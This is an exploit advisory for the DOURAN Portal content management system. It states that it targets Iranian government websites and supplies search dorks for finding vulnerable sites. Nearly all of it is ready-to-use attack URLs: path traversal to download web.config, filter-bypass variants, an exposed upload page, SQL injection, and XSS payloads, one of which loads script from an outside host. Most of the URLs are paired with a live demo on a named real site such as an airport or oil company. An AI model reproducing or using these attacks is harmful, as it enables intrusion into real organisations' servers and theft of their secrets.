#########################################################################################################################
#                                                                                                                       #
# Exploit Title : DOURAN Portal Full Ver Multiple Vulnerabilities                                                       #
#                                                                                                                       #
# Author        : K0242                                                                                                 #
#                                                                                                                       #
# Contact       : l3lackhat [at] yahoo [dot] com  , l3lackhat.ir [at] gmail [dot] com                                   #
#                                                                                                                       #
# Portal Link   : www.DOURAN.com                                                                                        #
#                                                                                                                       #
# Tested ON     : All ver 0f Douran Portal                                                                              #
#                                                                                                                       #
# Security Risk : High                                                                                                  #
#                                                                                                                       #
# Description   : All target's iranian GOVerment websites                                                               #
#                                                                                                                       #
#  DorK         : "DOURAN Portal"                                                                                       #
#                                                                                                                       #
#   OR          : "inurl:/Homepage.aspx?site=douranPortal&tabid=1&lang=fa-IR"                                           #
#                                                                                                                       #
#   OR          : "inurl:/DesktopModules/News/NewsView.aspx?"                                                           #
#                                                                                                                       #
#########################################################################################################################
#                                                                                                                       #
#  Expl0iTs:                                                                                                            #
#                                                                                                                       #
#  1: www.DOURAN.com/Admin/ImportExport/Download.aspx?filename=../../web.config                                         #
#                                                                                                                       #
#  Dem0 : www.zanjan.agri-jahad.ir/Admin/ImportExport/Download.aspx?filename=../../web.config                           #
#                                                                                                                       #
#  2: www.DOURAN.com/download.aspx?FileNameAttach=/web.config                                                           #
#                                                                                                                       #
#  Dem0 : www.zanjan.agri-jahad.ir/download.aspx?FileNameAttach=/web.config                                             #
#                                                                                                                       #
#  3: www.DOURAN.com/DesktopModules/fck/editor/filemanager/upload/test.html                                             #
#                                                                                                                       #
#  Dem0 : www.airport.ir/DesktopModules/fck/editor/filemanager/upload/test.html                                         #
#                                                                                                                       #
#  4: www.DOURAN.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize='                                       #
#                                                                                                                       #
#  Dem0 : www.nisoc.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize='                                    #
#                                                                                                                       #
#  5: www.DOURAN.com/DesktopModules/Blog/BlogView.aspx                                                                  #
#                                                                                                                       #
#  Dem0 : www.smcharity.ir/DesktopModules/Blog/BlogView.aspx                                                            #
#                                                                                                                       #
#  6: www.DOURAN.com/DesktopModules/ftb/ftb.imagegallery.aspx                                                           #
#                                                                                                                       #
#  Dem0 : www.isbn.ir/DesktopModules/ftb/ftb.imagegallery.aspx                                                          #
#                                                                                                                       #
#  7: www.DOURAN.com/security/DeviceInfo.aspx                                                                           #
#                                                                                                                       #
#  Dem0 : www.arjco.com/security/DeviceInfo.aspx                                                                        #
#                                                                                                                       #
#  8: www.DOURAN.com/DesktopModules/Gallery/OrderForm.aspx?itemtitle=[XSS]                                              #
#                                                                                                                       #
#  Dem0 : rasht.airport.ir/DesktopModules/Gallery/OrderForm.aspx?site=rasht.airport&lang=fa-IR&tabid=0&itemtitle=       #
#         <script>alert('K0242')</script>                                                                               #
#                                                                                                                       #
#  9: www.DOURAN.com/DesktopModules/Gallery/OrderForm.aspx?&site=DouranPortal&lang=fa-IR&tabid=1&itemtitle=[XSS]        #
#                                                                                                                       #
# Dem0 : www.korc.ir/DesktopModules/Gallery/OrderForm.aspx?&site=DouranPortal&lang=fa-IR&tabid=1&itemtitle=             #
#        <SCRIPT/XSS SRC="http://k0242.persiangig.com/lol.js"></SCRIPT>                                                 #
#                                                                                                                       #
#########################################################################################################################
#                                                                                                                       #
#                                            <-- More Douran Portal Xpl -->                                             #
#                                                                                                                       #
# Description :                                                                                                         #
#                                                                                                                       #
#  Regarding Attack technique [1], it is possible to bypass the security protections of ?/download.aspx?                #
#  in Douran Portal and download the hosted files.                                                                      #
#                                                                                                                       #
# P0C:                                                                                                                  #
#                                                                                                                       #
#  Try this first and see the access denied error:                                                                      #
#                                                                                                                       #
#  www.DOURAN.com/download.aspx?FilePathAttach=/&FileNameAttach=web.config&OriginalAttachFileName=secretfile.txt        #
#                                                                                                                       #
#  Now try these to bypass it:                                                                                          #
#                                                                                                                       #
#  10: www.DOURAN.com/download.aspx?FilePathAttach=/&FileNameAttach=web.config\.&OriginalAttachFileName=secretfile.txt  #
#                                                                                                                       #
#  11: www.DOURAN.com/download.aspx?FilePathAttach=/&FileNameAttach=web.config%20&OriginalAttachFileName=secretfile.txt #
#                                                                                                                       #
#  12 : www.DOURAN.com/download.aspx?FilePathAttach=/&FileNameAttach=wEB.CoNfiG&OriginalAttachFileName=secretfile.txt   #
#                                                                                                                       #
#########################################################################################################################
#                                                                                                                       #
#                 Greetz : TBH | Cyber Terrorist | NOPOTM | IBH | Aria Security | IrCrash | 0utl4wS                     #
#                                                                                                                       #
#########################################################################################################################